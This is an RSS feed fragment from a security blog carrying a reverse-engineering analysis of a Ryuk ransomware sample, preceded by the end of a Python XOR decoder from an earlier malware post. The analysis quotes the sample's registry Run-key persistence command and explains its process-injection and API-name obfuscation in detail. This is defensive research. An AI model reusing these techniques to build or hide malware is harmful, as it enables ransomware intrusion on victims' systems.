&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;key_value&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;output_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;xor_i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;^&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key_modifier&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;^&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key_value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plain_key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Final Output&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;output_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;print_len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;test-postxor.bin&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;output_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Decoding-Bank-Statement.bat-Malware.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>.net</category>
            
          
            
              <category>malware</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>security</category>
            
          
            
              <category>windows</category>
            
          
        
        
          
            
              <category>Malware</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Ryuk Malware - Analysis and Reverse Engineering</title>
        <link>https://ben.the-collective.net/posts/2020-04-08-ryuk-malware-analysis-and-reverse-engineering/</link>
        <pubDate>Wed, 08 Apr 2020 10:07:00 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 08 Apr 2020 10:07:00 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2020-04-08-ryuk-malware-analysis-and-reverse-engineering/</guid>
        <description>Summary In this post, I will reverse and analyze a Ryuk malware sample. Ryuk is pretty well-known ransomware that encrypts the contents of a victim’s hard drive. The sample uses two executable stages, one that determines if the system is a 32bit or a 64bit system, then extracts out the appropriate second stage executable onto the file system and executes the second stage. The second stage then attempts to gain persistence through creating a registry key and then finally injects an encryption process into another process and starts to encrypt the file systems leaving behind a Ransom note for the user to find.</description>
        <content:encoded>&lt;h2 id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;
&lt;p&gt;In this post, I will reverse and analyze a Ryuk malware sample. Ryuk is pretty well-known ransomware that encrypts the contents of a victim’s hard drive. The sample uses two executable stages, one that determines if the system is a 32bit or a 64bit system, then extracts out the appropriate second stage executable onto the file system and executes the second stage. The second stage then attempts to gain persistence through creating a registry key and then finally injects an encryption process into another process and starts to encrypt the file systems leaving behind a Ransom note for the user to find. In the rest of this post, I will write up a detailed analysis and reverse engineering of the Ryuk malware.&lt;/p&gt;
&lt;h2 id=&#34;full-analysis&#34;&gt;Full Analysis&lt;/h2&gt;
&lt;h3 id=&#34;initial-discovery&#34;&gt;Initial discovery&lt;/h3&gt;
&lt;p&gt;I downloaded the sample from this &lt;a href=&#34;https://www.tutorialjinni.com/ryuk-ransomware-sample-download.html&#34;&gt;site&lt;/a&gt;. The first thing that I wanted to ensure that the file that I was working with was what I was expecting. I sent the hash to Virustotal, and it identified by the majority of engines as Ryuk.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/Screen-Shot-2020-03-10-at-00.06.39.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
&lt;a href=&#34;https://www.virustotal.com/gui/file/23f8aa94ffb3c08a62735fe7fee5799880a8f322ce1d55ec49a13a3f85312db2/detection&#34;&gt;VirusTotal&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now that I knew I was looking at the correct file I validated the type of executable, finding it was a Windows PE file.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ file loader.bin
 loader.bin: PE32 executable (GUI) Intel 80386, for MS Windows
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then I ran binwalk to see if there was embedded content, and I found there are 2 PE headers embedded in this file in addition to the main executable.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ binwalk loader.bin
 DECIMAL       HEXADECIMAL     DESCRIPTION
 0             0x0             Microsoft executable, portable (PE)
 70576         0x113B0         Microsoft executable, portable (PE)
 242704        0x3B410         XML document, version: &amp;#34;1.0&amp;#34;
 245168        0x3BDB0         Microsoft executable, portable (PE)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After some initial light investigation, I dug into the file with Ghidra and x64dbg to build out the flow of the executables. Initially, we will take a look at the first stage that extracts the main payload.&lt;/p&gt;
&lt;h3 id=&#34;stage-1&#34;&gt;Stage 1&lt;/h3&gt;
&lt;p&gt;This initial stage has a pretty simple program flow and accomplished a pretty simple task of extracting and executing the appropriate PE or PE+ file for the architecture. The below flowchart gives an overview of the execution path of this stage.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-Stage1-Flow.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The first task this stage does is to determine the version of Windows the system is running. It does this to determine the location of the default user profile directory (“\Users\Public” or “\Documents and Settings\Default User”). After finding the directory it generates a random 5 character file name, which will have .exe appended to it and used as the file name of the second stage.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-platform-selection.png&#34; alt=&#34;IsWoW64Process&#34; /&gt;&lt;br /&gt;
The function CreateFileW is run with the created filename to create a handle to write the second stage. However, before writing the second stage data, a procedure using IsWoW64Process is run to determine if the system using a 32bit or 64bit operating system then writes a PE executable for 32bit systems or PE+ executable for 64bit systems. (This process is shown in the Ghidra decompilation) Once the file data is written, ShellExecuteW is called with the file name of the first stage listed as an argument to run the newly created executable, and move on to stage 2.&lt;/p&gt;
&lt;h3 id=&#34;stage-2&#34;&gt;Stage 2&lt;/h3&gt;
&lt;p&gt;In my analysis, I used the PE+ binary code to do my detailed work. I did some cursory analysis of the PE binary to make sure there were not any apparent differences in functionality and found it was essentially the same as the PE+ counterpart from a functionality perspective.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;bin0.bin: PE32+ executable (GUI) x86-64, for MS Windows
$ ls -l bin0.bin
 -rw-r--r--@ 1 xxx  xxx  174592 Feb 22 00:19 bin0.bin
SHA-1: 92e331e1e8ad30538f38dd7ba31386afafa14a58
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I found there are two primary sections of code that I will refer to as WinMain located at memory address 0x140001c80 and RansonMain, which is located at address 0x140002a70. WinMain handles the setup of execution for the encryption section in RansonMain.&lt;/p&gt;
&lt;h4 id=&#34;winmain&#34;&gt;WinMain&lt;/h4&gt;
&lt;p&gt;I called this function WinMain as it appears to align with the traditional WinMain function in C. This function and its callees as already mentioned setup and inject the encryption processes to start the execution of RansomMain. The following flow chart lays out the flow of this section.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-Stage2-Flow-1.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The first activity WinMain does is to delete the first stage. The file is deleted by passing the filename of the first stage as a command-line argument and then calling a function to delete the file. Next, WinMain adds a registry key to the run the second stage on the boot of Windows. I would guess this is in order to obtain a level of persistence. It uses the Windows command line to add the key, calling ShellExecuteW to run the command.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cmd.exe /C REG ADD &amp;#34;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&amp;#34; /v &amp;#34;svchos&amp;#34; /t REG_SZ /d &amp;#34;C:\Users\IEUser\Desktop\ryuk\aSEzD.exe&amp;#34; /f
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The example command created the following in the registry on my test system.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-reg-key.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After creating the registry key, WinMain then runs a function to check and enable SeDebugPrivilege on the Stage 2 process to ensure it has the correct permission level. This permission is needed to manipulate other processes on this system. Next it a function loops through and creates a list of running processes on the system creating a data structure consisting of a list of 0x210 byte structures laid out in the format:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt; +-------------------------------+
 |   Process Name      0x208B    |
 +---------------+---------------+
 |   PSID 0x1B   |   Perm 0x1B   |
 +---------------+---------------+
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The “Perm” contains permission level it was able to acquire to the process. There are 4 permissions levels&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;0&lt;/th&gt;
&lt;th&gt;Can’t open process&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;has NT AUTHORITY&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;No NT AUTHORITY&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Can Get Token&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-proc-lopp-flow.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After collecting the list of processes, it loops through them and checks a few things. First, it checks the process name to see if it matches “CSRSS.EXE,” “EXPLORER.EXE,” or “LSAAS.EXE” (yup, the last one is a typo in the sample). Then it checks the permissions it was able to get on the process if it’s 5 (Can get Token) or 1 (Has NT Authority). After passing both of these checks, it will call a function to inject the RansomMain into the process. I have named this function WriteProcMemory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-writeprocmemory-flow.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
WriteProcMemory is a pretty simple function, and it takes a process name allocates memory in the process then calls CreateRemoteThread to create a thread in that process to execute RansomMain. The loop processes the entire list of processes gathered. After all the processes have been processed, it will execute a function to decode function pointers and then directly execute RansomMain before ending the program. The final 2 steps are similar to what occurs in the injected process and I will cover these functions in more depth.&lt;/p&gt;
&lt;h4 id=&#34;remote-thread-and-ransommain&#34;&gt;Remote Thread and RansomMain&lt;/h4&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-injectedprocess-flow-1.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The Injected thread first decodes various function pointers used throughout the thread. The majority of the Windows API calls in RansomMain are done via calls by reference to these encoded references. The decoder function located at 0x140005b10, and the key that encodes the various function call is itself encoded and is decoded by an XOR loop at 140005b9a. The code in the next screenshot shows the routine that is used to decode the key.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-funct-decode-key-decode.png&#34; alt=&#34;Key decode routine&#34; /&gt;&lt;br /&gt;
After running the above code in a debugger, I grabbed the decoded key and wrote a python function to decode the rest of the function call names. The string variable in this code is a list of the hex values in the encoded library and function names.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;key_position_1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;key_position_2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# Key at: 0x1400293c4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;# ASCII: aZIiQ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;keys&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x62&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x5a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x49&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x69&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x51&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;keys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key_position_1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_position_1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;decoded&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_position_1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;^&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;keys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_position_2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;chr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decoded&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key_position_2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;keys&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;key_position_2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;key_position_2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;key_position_1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Here is a sample of some of the decoded calls shown in the Ghidra disassembler view.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/04/ryuk-decoded-function-calls-2-1.png&#34; alt=&#34;Decoded function references (Ghidra Disassembler view)&#34; /&gt;&lt;br /&gt;
After all of the function calls are decoded, and the function call addresses are resolved into memory. The next function attempts to write a file named “sys” into the default system home directory (“\Users\Public” or “\Documents and Settings\Default User” depending on OS version). If it is unable to create or open the file the function will wait until it can write the file or terminate the process. Otherwise, if it is successful, it will move forward on to RansomMain.&lt;/p&gt;
&lt;p&gt;RansomeMain is the main show and handles all of the encryption activities following this general flow in this chart.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/ben.the-collective.net/wp-content/uploads/2020/03/ryuk-Stage2-Flow-2.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The first main activity this function does is to set up an encryption context using legacy Windows encryption APIs. The parameters used in CryptoAquireContextW to create the container are:&lt;/p&gt;
&lt;p&gt;Container name: AES_Unique_&lt;br /&gt;
Provider: Microsoft Enhanced RSA and AES Cryptographic Provider&lt;br /&gt;
Flags: Vary depending on the OS version&lt;/p&gt;
&lt;p&gt;After the context is set up, the function loads a RSA Public key from the file location 0x1400293d0. The key is stored as a PUBLICKEYBLOB with the following parameters:&lt;/p&gt;
&lt;p&gt;Key Algorithm 0xA400 – RSA public key exchange algorithm&lt;br /&gt;
DSS version: 2&lt;br /&gt;
Key length: 2048 bit key&lt;/p&gt;
